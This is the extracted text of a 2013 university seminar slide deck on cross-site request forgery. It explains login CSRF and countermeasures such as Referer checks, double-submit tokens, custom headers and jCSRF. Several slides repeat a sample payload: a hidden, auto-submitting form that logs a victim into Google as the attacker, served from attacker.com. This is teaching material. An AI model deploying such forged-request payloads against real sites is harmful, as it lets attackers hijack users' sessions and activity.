Cross-site request forgery

Seminar presentation
Mikko Rantanen
17.04.2013
Program

• Sample exploitation
• CSRF and login CSRF explained
• HTTP overview
• Countermeasures
Sample exploitation
What just happened

• User had valid cookie from Facebook, available to the browser
What just happened

• User had valid cookie from Facebook, available to the browser

• The user visits another site with malicious content

• Browser is redirected to Facebook. It uses the credentials (valid cookie) automatically.
What just happened

• `<img>` was Redirect: to attacker-controlled Facebook application

• First URL (step1.php) forwarded to second (step2.php) and set the Referer to be from inside Facebook

• This caused the Facebook Automatic Authentication feature to send personal info to the attacker-controlled application
Regular CSRF [1]
Why does it work

• The vulnerable application does not check where the browser is coming from
• The client side can't do much about it
Figure 1: Event trace diagram for a login CSRF attack. The victim visits the attacker’s site, and the attacker forges a cross-site request to Google’s login form, causing the victim to be logged into Google as the attacker. Later, the victim makes a web search, which is logged in the attacker’s search history.
Login CSRF

Attacker

GET /blog HTTP/1.1

Client

www.google.com
Login CSRF

Attacker

GET /blog HTTP/1.1

Client

<form action=https://www.google.com/login method=POST target=invisibleframe> <input name=username value=attacker><input name=pwd value=plugh> </form>

www.google.com

<script>document.forms[0].submit()</script>
Login CSRF

Attacker

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe> 
<input name=username value=attacker>
<input name=pwd value=plugh>
</form>

<script>document.forms[0].submit()</script>

Client

POST /login HTTP/1.1
Referer: http://attacker.com/blog
username=attacker&p=wd=plugh

www.google.com
Login CSRF

Attacker

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe> <input name=username value=attacker><input name=pwd value=plugh> </form>

<script>document.forms[0].submit()</script>

Client

POST /login HTTP/1.1
Referer: http://attacker.com/blog
username=attacker&pwd=plugh

HTTP/1.1 200 OK
Set-Cookie: Sess_ID=ZA1fa34

www.google.com
### Terminology

**Attacker**

- GET /blog HTTP/1.1

**Client**

- POST /login HTTP/1.1
- Referer: http://attacker.com/blog
- username=attacker\&pwd=plugh

**HTTP/1.1 200 OK**
- Set-Cookie: Sess_ID=ZA1fa34

**www.google.com**

- HTTP verbs

---

```html
<form action=https://www.google.com/login method=POST target=invisibleframe>
  <input name=username value=attacker>
  <input name=pwd value=plugh>
</form>
<script>document.forms[0].submit()</script>
```
### Terminology

**Attacker**

```
GET /blog HTTP/1.1
```

```html
<form action=https://www.google.com/login method=POST target=invisibleframe> <input name=username value=attacker><input name=pwd value=plugh>
</form>
```

```javascript
document.forms[0].submit();
```

**Client**

GET /blog HTTP/1.1

```
POST /login HTTP/1.1
Referer: http://attacker.com/blog
username=attacker&pwd=plugh
```

HTTP/1.1 200 OK
Set-Cookie: Sess_ID=ZA1fa34
Terminology

Attacker

GET /blog HTTP/1.1

Client

POST /login HTTP/1.1
username=attacker&pwd=plugh

www.google.com

HTTP verbs

Form + data

Javascript

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe> <input name=username value=attacker><input name=pwd value=plugh> </form>

<script>document.forms[0].submit()</script>

POST /login HTTP/1.1
Referer: http://attacker.com/blog
username=attacker&pwd=plugh

HTTP/1.1 200 OK
Set-Cookie: Sess_ID=ZA1fa34
**Terminology**

**Attacker**
- GET /blog HTTP/1.1
- `<form action=https://www.google.com/login method=POST target=invisibleframe> <input name=username value=attacker> <input name=pwd value=plugh> </form>`
- `<script>document.forms[0].submit()</script>`
- Javascript

**Client**
- HTTP verbs
- Form + data
- POST /login HTTP/1.1
- Referer: http://attacker.com/blog
- username=attacker&pwd=plugh

**www.google.com**
- HTTP/1.1 200 OK
- Set-Cookie: Sess_ID=ZA1fa34

**Headers (metadata)**
HTTP overview and sessions

- HTML + metadata, i.e. headers
- Stateless
- Cookies used for session management
  - Set-Cookie: name=value
  - Shared secret between browser and server
- Same-origin principle (SOP): browser reveals (sends back) the cookie only to the originating server (where the cookie came from)
Countermeasures, CSRF

• Many failed attempts
  – NoForge (2006); no dynamic page support, leaks token, vulnerable to login CSRF
  – Firefox extension (not available anymore)
  – OWASP CSRFGuard; only Tomcat, vulnerable to login CSRF

• ..just to name a few.
Countermeasures, CSRF

• Referer-header
Countermeasures, CSRF

Attacker

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe> <input name=username value=attacker><input name=pwd value=plugh> </form>
<script>document.forms[0].submit()</script>

Client

POST /login HTTP/1.1
Referer: http://attacker.com/blog
username=attacker&pwd=plugh

HTTP/1.1 200 OK
Set-Cookie: Sess_ID=ZA1fa34

www.google.com
Countermeasures, CSRF

• Referer-header
  – Safe by design (programmatically unchangeable)
  – Simple and effective...
Countermeasures, CSRF

- Referer-header
  - Safe by design (programmatically unchangeable)
  - Simple and effective...
  - ...but might be suppressed by privacy/firewall software
  - Suppression rate 3% .. 11% over HTTP (2008)
  - Often requires efforts on programmers' behalf
Countermeasures, CSRF

• Referer-header
  – Safe by design (programmatically unchangeable)
  – Simple and effective...
  – ...but might be suppressed by privacy/firewall software
  – Suppression rate 3% .. 11% over HTTP (2008)
  – Often requires efforts on programmers' behalf

• Safe over HTTP/S and suppression rate is 1/500 .. 1/5000 (often acceptable)
Countermeasures, login CSRF

• Secret tokens
  – Server-generated nonce in the login form
Countermeasures, login CSRF

• Secret tokens
  – Server-generated nonce in the login form

Client browser

GET /login.html HTTP/1.1

<form action=login.html method=POST>
  <input type="password" name="pwd" /><br />
  <input type="text" name="username" /><br />
  <input type="hidden" name="NO-CSRF" value="7kwnmSC41ss"
</form>

Server

POST login.html HTTP/1.1
  Referer: <removed by firewall software>
  NO-CSRF=7kwnmSC41ss&username=joe_average&pwc=plugh
Countermeasures, login CSRF

• Secret tokens
  – Server-generated nonce in the login form

• Must be tied to a cookie sent to the client
  – An attacker could request a login form, then use Javascript to make victim send prefilled form with the attacker's token to the vulnerable site
Countermeasures, login CSRF

• Secret tokens
  – Server-generated nonce in the login form

• Must be tied to a cookie sent to the client
  – An attacker could request a login form, then use Javascript to make victim send prefilled form with the attacker's token to the vulnerable site

• Use 'double-submit': use same secret token for both the cookie and the form field
Countermeasures, login CSRF

• Must be tied to a cookie sent to the client
  – An attacker could request a login form, then use Javascript to make victim send prefilled form with the attacker's token to the vulnerable site

• Use 'double-submit': use same secret token for both the cookie and the form field

• State: the cookie and token should be HMAC or otherwise verifiable (reversible encryption) to avoid keeping state
Countermeasures, login CSRF

• State: the cookie and token should be HMAC or otherwise verifiable (reversible encryption) to avoid keeping state

Client browser → Server

POST login.html HTTP/1.1
Referer: <removed by firewall software>
Cookie: NO-CSRF=7kwnmSC41ss
NO-CSRF=7kwnmSC41ss&username=joe_average&pwh=plugh

• Double-submit: server checks that values match and decrypts/checks HMAC
Countermeasures, both

- Double-submit technique works for GET requests as well...
- ...but the parameters in the URL would be visible to intermediate proxies...
- ...and GET should not cause side effects (RFC2616, 9.1.2)
Countermeasures, both

• Custom headers
  – Full site ajaxification (XMLHttpRequest / XDomainRequest)
  – Custom headers with secure names/values
  – Custom headers don't get suppressed as easily as Referer
Countermeasures, both

• Custom headers
  – Full site ajaxification (XMLHttpRequest / XDomainRequest)
  – Custom headers with secure names/values
  – Custom headers don't get suppressed as easily as Referer
  – Must be present in every page
  – Programmer effort
Countermeasures, both

- **jCSRF**: software running on intermediate box
- **Automatic Javascript insertion into HTML going through the box**
- **Javascript inserts the site authentication cookie into POST requests (see earlier demonstration)**
- **No GET support (should not cause side effects)**
jCSRF [2]
Defining controlled access

- Cross-origin resource sharing, CORS
- W3C release candidate (in works since 2005)
- XMLHttpRequest/XDomainRequest API calls uses Origin-header automatically, expect server to reply with Access-Control-Allow-Origin header
- If server does not support CORS, onError() method is triggered
Defining controlled access

• Using postMessage() API call: jCSRF
• postMessage: allow cross-document resource access
• postMessage: programmatic message passing to recipient document of specified origin only
Countermeasures, summary

• Custom headers
  – Fixing existing applications can be costly and hard
  – Just missing one place can lead to problems

• Referer header
  – Should use HTTP/S to avoid suppression

• jCSRF
  – Administrative overhead
  – Could not find any reference to real-life deployments
Countermeasures, summary

• Client-side defenses:
  – Run some browser in a virtual machine and use only one tab
  – After using the one-tab browser, shutdown virtual machine and restore the VM from backup or snapshotting filesystem

• Requires some technological competence and effort
Questions?
Reference
